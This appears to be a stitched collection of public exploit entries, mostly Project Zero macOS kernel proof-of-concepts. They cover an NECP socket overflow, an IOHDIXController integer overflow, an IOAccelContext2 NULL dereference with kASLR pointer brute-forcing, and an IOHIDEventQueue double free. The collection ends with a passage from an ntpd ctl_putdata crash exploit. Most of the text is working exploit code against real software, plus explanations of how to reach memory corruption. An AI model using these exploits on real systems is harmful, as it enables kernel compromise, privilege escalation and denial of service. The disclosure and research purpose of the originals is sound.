  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;

  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s", strerror(errno));
    goto done;
  }

  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, CONTROL_NAME, sizeof(kernctl_info.ctl_name));

  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", CONTROL_NAME, strerror(errno));
    goto done;
  }

  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;

  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s", strerror(errno));
    goto done;
  }

done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }

  return sock;
}

struct necp_packet_header {
    uint8_t   packet_type;
    uint8_t   flags;
    uint32_t  message_id;
};

uint8_t* add_real_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, len);
  return buf+9+len;
}

uint8_t* add_fake_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val, size_t real_len){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, real_len);
  return buf+9+real_len;
}

int main(){
  int fd = ctl_open();
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);

  size_t msg_size;
  uint8_t* msg = malloc(0x1000);
  memset(msg, 0, 0x1000);

  uint8_t* payload = malloc(0x1000);
  memset(payload, 'A', 0x1000);

  struct necp_packet_header* hdr = (struct necp_packet_header*) msg;
  hdr->packet_type = 1; // POLICY_ADD
  hdr->flags = 0;
  hdr->message_id = 0;

  uint8_t* buf = (uint8_t*)(hdr+1);

  uint32_t order = 0x41414141;
  buf = add_real_tlv(buf, 2, 4, &order); // NECP_TLV_POLICY_ORDER

  uint8_t policy = 1; // NECP_POLICY_RESULT_PASS
  buf = add_real_tlv(buf, 4, 1, &policy); // NECP_TLV_POLICY_RESULT
  
  buf = add_real_tlv(buf, 3, 1, payload); // NECP_TLV_POLICY_CONDITION
  buf = add_real_tlv(buf, 3, 1024, payload); // NECP_TLV_POLICY_CONDITION
  
  buf = add_fake_tlv(buf, 3, 0xffffffffffffffff-1050, payload, 0x10);

  msg_size = buf - msg;

  send(fd, msg, msg_size, 0);

  close(fd);
  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=511

Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0.

IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer.

The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer.

It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail and kernel panic somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :)
*/

/* ianbeer
clang -o iohdix iohdix.c -framework IOKit
Integer Overflow in IOHDIXControllerUserClient::convertClientBuffer leading to undersized kalloc allocation passed to DMA code

Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads
a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to
by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size,
casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can
cause an integer overflow and IOMalloc will be passed a size of 0.

IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel
heap pointer.

The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer
in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized
kernel heap buffer.

It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail somewhere inside that DMA code
as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of
that allowing us to actually overwrite stuff :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(){
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IOHDIXController");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);

  void* mem = malloc(0x100000000);
  uint64_t msg[0x100/8] = {0};
  msg[0] = 0xbeeffeed; // +0x00
  msg[1] = (uint64_t)mem;
  msg[2] = 0xffffffff; // +0x10

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  //char inputStruct[4096];
  //size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4;

  // create a queue
  err = IOConnectCallMethod(
    conn,
    0x5,
    inputScalar,
    inputScalarCnt,
    msg,
    0x100,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  if (err != KERN_SUCCESS){
    printf("IOConnectCall error: %x\n", err);
    return 0;
  }


  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=512

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient.)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practice we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

// ianbeer

// build:clang -o client_connect client_connect.c -m32 -framework IOKit -g -pagezero_size 0x0

/*
Failure to check return value of OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient leads to
kernel address space layout leak and exploitable NULL dereference

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practise we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

io_connect_t get_accel_connection() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

io_connect_t get_some_client() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("AppleRTC");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

kern_return_t guess_first(uint64_t guess, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = guess;

  return IOConnectAddClient(a, b);
}

// need to make something like 65k guesses in the worst cast to find the IntelAccelerator object
// (it's page aligned and we search a 512MB region)
uint64_t find_intel_accelerator_addr(io_connect_t a, io_connect_t b) {
  uint64_t guess = 0xffffff8010000000;
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_first(guess, a, b) == 0xe00002bc) {
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x1000;
  }
  printf("no luck\n");
  return 0;
}

kern_return_t guess_second(uint64_t guess, uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = accel_addr;

  fake_obj[0xe0/8] = guess;

  return IOConnectAddClient(a, b);
}

uint64_t find_second_addr(uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t guess = accel_addr - 0x1000000; // reasonable place to start guessing
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_second(guess, accel_addr, a, b) != 0xe00002bc) {
      // not reached: we will call retain on the object at NULL now
      // and will kernel panic reading the function pointer from the vtable at 414141...
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x10;
  }
  printf("no luck\n");
  return 0;
}

int main(){
  kern_return_t err;

  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  io_connect_t accel_connect = get_accel_connection();

  // create an unrelated client 
  io_connect_t a_client = get_some_client();

  uint64_t first_addr = find_intel_accelerator_addr(accel_connect, a_client);
  uint64_t second_addr = find_second_addr(first_addr, accel_connect, a_client);
  return 0;
}
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=542

The IOHIDLibUserClient allows us to create and manage IOHIDEventQueues corresponding to available HID devices.

Here is the ::start method, which can be reached via the IOHIDLibUserClient::_startQueue external method:

************ SNIP **************

void IOHIDEventQueue::start() 
{
    if ( _lock )
        IOLockLock(_lock);

    if ( _state & kHIDQueueStarted )
        goto START_END;

    if ( _currentEntrySize != _maxEntrySize )   <--- (a)
    {
        mach_port_t port = notifyMsg ? ((mach_msg_header_t *)notifyMsg)->msgh_remote_port : MACH_PORT_NULL;
        
        // Free the existing queue data
        if (dataQueue) {                   <-- (b)
            IOFreeAligned(dataQueue, round_page_32(getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE));
        }
        
        if (_descriptor) {
            _descriptor->release();
            _descriptor = 0;
        }
        
        // init the queue again.  This will allocate the appropriate data.
        if ( !initWithEntries(_numEntries, _maxEntrySize) ) {      (c) <----
            goto START_END;
        }
        
        _currentEntrySize = _maxEntrySize;
        
        // RY: since we are initing the queue, we should reset the port as well
        if ( port ) 
            setNotificationPort(port);
    }
    else if ( dataQueue )
    {
        dataQueue->head = 0;
        dataQueue->tail = 0;
    }

    _state |= kHIDQueueStarted;

START_END:
    if ( _lock )
        IOLockUnlock(_lock);

}

************ SNIP **************


If _currentEntrySize is not equal to _maxEntrySize then the start method will attempt to reallocate a better-sized queue;
if dataQueue (a member of IODataQueue) is non-zero its free'd then initWithEntries is called with the new _maxEntrySize.

Note that the error path on failure here jumps straight to the end of the function, so it's up to initWithEntries to
clear dataQueue if it fails:


************ SNIP **************

Boolean IOHIDEventQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
    UInt32 size = numEntries*entrySize;
    
    if ( size < MIN_HID_QUEUE_CAPACITY )
        size = MIN_HID_QUEUE_CAPACITY;
        
    return super::initWithCapacity(size);
}

************ SNIP **************


There's a possible overflow here; but there will be *many* possible overflows coming up and we need to overflow at the right one...

This calls through to IOSharedDataQueue::initWithCapacity


************ SNIP **************

Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
{
    IODataQueueAppendix *   appendix;
    vm_size_t               allocSize;

    if (!super::init()) {
        return false;
    }


    _reserved = (ExpansionData *)IOMalloc(sizeof(struct ExpansionData));
    if (!_reserved) {
        return false;
    }

    if (size > UINT32_MAX - DATA_QUEUE_MEMORY_HEADER_SIZE - DATA_QUEUE_MEMORY_APPENDIX_SIZE) {
        return false;
    }
    
    allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE);

    if (allocSize < size) {
        return false;
    }

    dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);

************ SNIP **************


We need this function to fail on any of the first four conditions; if we reach the IOMallocAligned call
then dataQueue will either be set to a valid allocation (which is uninteresting) or set to NULL (also uninteresting.)

We probably can't fail the ::init() call nor the small IOMalloc. There are then two integer overflow checks;
the first will only fail if size (a UInt32 is greater than 0xfffffff4), and the second will be impossible to trigger on 64-bit since
round_pages will be checking for 64-bit overflow, and we want a cross-platform exploit!

Therefore, we have to reach the call to initWithCapacity with a size >= 0xfffffff4 (ie 12 possible values?)

Where do _maxEntrySize and _currentEntrySize come from?

When the queue is created they are both set to 0x20, and we can partially control _maxEntrySize by adding an new HIDElement to the queue.

_numEntries is a completely controlled dword.

So in order to reach the exploitable conditions we need to:

1) create a queue, specifying a value for _numEntries. This will allocate a queue (via initWithCapacity) of _numEntries*0x20; this allocation must succeed.

2) add an element to that queue with a *larger* size, such that _maxEntrySize is increased to NEW_MAX_SIZE.

3) stop the queue.

4) start the queue; at which point we will call IOHIDEventQueue::start. since _maxEntrySize is now larger this
will free dataQueue then call initWithEntries(_num_entries, NEW_MAX_SIZE). This has to fail in exactly the manner
described above such that dataQueue is a dangling pointer.

5) start the queue again, since _maxEntrySize is still != _currentEntrySize, this will call free dataQueue again!


The really tricky part here is coming up with the values for _numEntries and NEW_MAX_SIZE; the constraints are:

_numEntries is a dword
(_numEntries*0x20)%2^32 must be an allocatable size (ideally <0x10000000)
(_numEntries*NEW_MAX_SIZE)%2^32 must be >= 0xfffffff4

presumable NEW_MAX_SIZE is also reasonably limited by the HID descriptor parsing code, but I didn't look.

This really doesn't give you much leaway, but it is quite satisfiable :)

In this case I've chosen to create a "fake" hid device so that I can completely control NEW_MAX_SIZE, thus the PoC requires
root (as did the TAIG jailbreak which also messed with report descriptors.) However, this isn't actually a requirement to hit the bug; you'd just need to look through every single HID report descriptor on your system to find one with a suitable report size.

In this case, _numEntries of 0x3851eb85 leads to an initial queue size of (0x3851eb85*0x20)%2^32 = 0xa3d70a0
which is easily allocatable, and NEW_MAX_SIZE = 0x64 leads to: (0x3851eb85*0x64)%2^32 = 0xfffffff4


To run the PoC:

1) unzip and build the fake_hid code and run 'test -k' as root; this will create an IOHIDUserDevice whose
cookie=2 IOHIDElementPrivate report size is 0x64.

2) build and run this file as a regular user.

3) see double free crash.

There's actually nothing limiting this to a double free, you could go on indefinitely free'ing the same pointer.

As I said before, this bug doesn't actually require root but it's just *much* easier to repro with it!

Testing on: MacBookAir5,2 10.10.5 14F27
Guessing that this affects iOS too but haven't tested.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39379.zip
            
/*
Ntpd <= ntp-4.2.6p5 ctl_putdata() Buffer Overflow
Author: Marcin Kozlowski <marcinguy@yahoo.com>
Based on: ntpq client from ntp package

Provided for legal security research and testing purposes ONLY

PoC

DoS (Denial of Service) PoC. Will crash NTPd.

You will need to know the KEY ID and MD5 password, for example put this in you ntp.conf

--------------
/etc/ntp.conf
--------------

keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1


and in /etc/ntp.keys

-------------
/etc/ntp.keys
-------------

1 M 1111111




1 is KEY ID 
1111111 is MD5 password

Hostname and Port is hardcoded in the code. Change it if you want :)

gcc ntpd-exp.c -o ntpd-exp

./ntpd-exp
Keyid: 1
MD5 Password: 
Sending 988 octets
Packet data:
 16 08 00 00 00 00 00 00
 00 00 03 b7 73 65 74 76
 ...
 00 00 00 01 28 05 99 c2
 16 ba a7 b7 8d d3 22 00
 0c f7 6a 5f
Sending 36 octets
Packet data:
 16 02 00 00 00 00 00 00
 00 00 00 01 41 00 00 00
 00 00 00 01 7b a5 e6 6e
 e7 a7 f7 cd 65 8f 1d 5f
 51 92 d0 41

KABOOM Ntpd should crash!!!

GDB output:

Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>)
    at ntp_control.c:2300
2300				for (i = 0; ext_sys_var &&
(gdb) 




If you want to bypass knowing KEY ID and MD5 Password and execute your payload, read more:

http://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html


*/

#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h> 


typedef unsigned short associd_t; /* association ID */
typedef uint32_t keyid_t;
typedef int SOCKET;

struct sockaddr_in serverAddr;
socklen_t addr_size;	

#define	CTL_MAX_DATA_LEN	1300
#define	MAX_MAC_LEN	(6 * sizeof(uint32_t))	/* SHA */

#define	MODE_CONTROL	6	/* control mode */

#define CTL_OP_CONFIGURE	8

#define	CTL_OP_READVAR		2

#define	CTL_OP_MASK	0x1f

#define NID_md5	4
#define NTP_MAXKEY	65535


/*
 * Stuff for putting things back into li_vn_mode
 */
#define PKT_LI_VN_MODE(li, vn, md) \
        ((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))

#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

#define MD5STEP(f,w,x,y,z,in,s) \
         (w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x)


struct ntp_control {
        u_char li_vn_mode;              /* leap, version, mode */
        u_char r_m_e_op;                /* response, more, error, opcode */
        u_short sequence;               /* sequence number of request */
        u_short status;                 /* status word for association */
        associd_t associd;              /* association ID */
        u_short offset;                 /* offset of this batch of data */
        u_short count;                  /* count of data in this packet */
        u_char data[(1300 + MAX_MAC_LEN)]; /* data + auth */
};

#define	NTP_OLDVERSION	((u_char)1)
u_char pktversion = NTP_OLDVERSION + 1;

#define	CTL_HEADER_LEN		(offsetof(struct ntp_control, data))

/*
 * COUNTOF(array) - size of array in elements
 */
#define COUNTOF(arr)    (sizeof(arr) / sizeof((arr)[0]))



/*
 * Sequence number used for requests.  It is incremented before
 * it is used.
 */
u_short sequence;

/*
 * Flag which indicates we should always send authenticated requests
 */
int always_auth = 0;

/*
 * Keyid used for authenticated requests.  Obtained on the fly.
 */
u_long info_auth_keyid = 0;

static	int	info_auth_keytype = NID_md5;	/* MD5 */
static	size_t	info_auth_hashlen = 16;		/* MD5 */

int debug = 10;

SOCKET sockfd;					/* fd socket is opened on */

char currenthost[256];			/* current host name */

char *progname = "exp";

struct savekey {
        struct savekey *next;
        union {
                u_char MD5_key[64];     /* for keys up to to 512 bits */
        } k;
        keyid_t keyid;          /* key identifier */
        int     type;           /* key type */
        u_short flags;          /* flags that wave */
        u_long lifetime;        /* remaining lifetime */
        int keylen;             /* key length */
};

/*
 * The key cache. We cache the last key we looked at here.
 */
keyid_t cache_keyid;            /* key identifier */
u_char  *cache_key;             /* key pointer */
u_int   cache_keylen;           /* key length */
int     cache_type;             /* key type */
u_short cache_flags;            /* flags that wave */


#define KEY_TRUSTED     0x001   /* this key is trusted */

#define	MEMINC	12	

#define EVP_MAX_MD_SIZE	64

typedef struct {
        uint32_t buf[4];
        uint32_t bytes[2];
        uint32_t in[16];
} isc_md5_t;

/*
 * ntp_md5.h: deal with md5.h headers
 *
 * Use the system MD5 if available, otherwise libisc's.
 */



typedef isc_md5_t             MD5_CTX;
#define MD5Init(c)             isc_md5_init(c)
#define MD5Update(c, p, s)     isc_md5_update(c, p, s)
#define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */

/* ssl_init.c */
#ifdef OPENSSL
extern  void    ssl_init                (void);
extern  void    ssl_check_version       (void);
extern  int     ssl_init_done;
#define INIT_SSL()                              \
        do {                                    \
                if (!ssl_init_done)             \
                        ssl_init();             \
        } while (0)
#else   /* !OPENSSL follows */
#define INIT_SSL()              do {} while (0)
#endif

#if defined HAVE_MD5_H && defined HAVE_MD5INIT
# include <md5.h>
#else
  typedef isc_md5_t             MD5_CTX;
# define MD5Init(c)             isc_md5_init(c)
# define MD5Update(c, p, s)     isc_md5_update(c, p, s)
# define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */
#endif





/*
 * Provide OpenSSL-alike MD5 API if we're not using OpenSSL
 */

typedef MD5_CTX                       EVP_MD_CTX;
#define EVP_get_digestbynid(t)         NULL
#define EVP_DigestInit(c, dt)          MD5Init(c)
#define EVP_DigestUpdate(c, p, s)      MD5Update(c, p, s)
#define EVP_DigestFinal(c, d, pdl)     \
        do {                            \
                MD5Final((d), (c));     \
                *(pdl) = 16;            \
        } while (0)

                         
/*
 * The hash table. This is indexed by the low order bits of the
 * keyid. We make this fairly big for potentially busy servers.
 */
#define HASHSIZE        64
#define HASHMASK        ((HASHSIZE)-1)
#define KEYHASH(keyid)  ((keyid) & HASHMASK)


#define min(a,b)        (((a) < (b)) ? (a) : (b))


struct savekey *key_hash[HASHSIZE];

u_long authkeynotfound;         /* keys not found */
u_long authkeylookups;          /* calls to lookup keys */
u_long authnumkeys;             /* number of active keys */
u_long authkeyexpired;          /* key lifetime expirations */
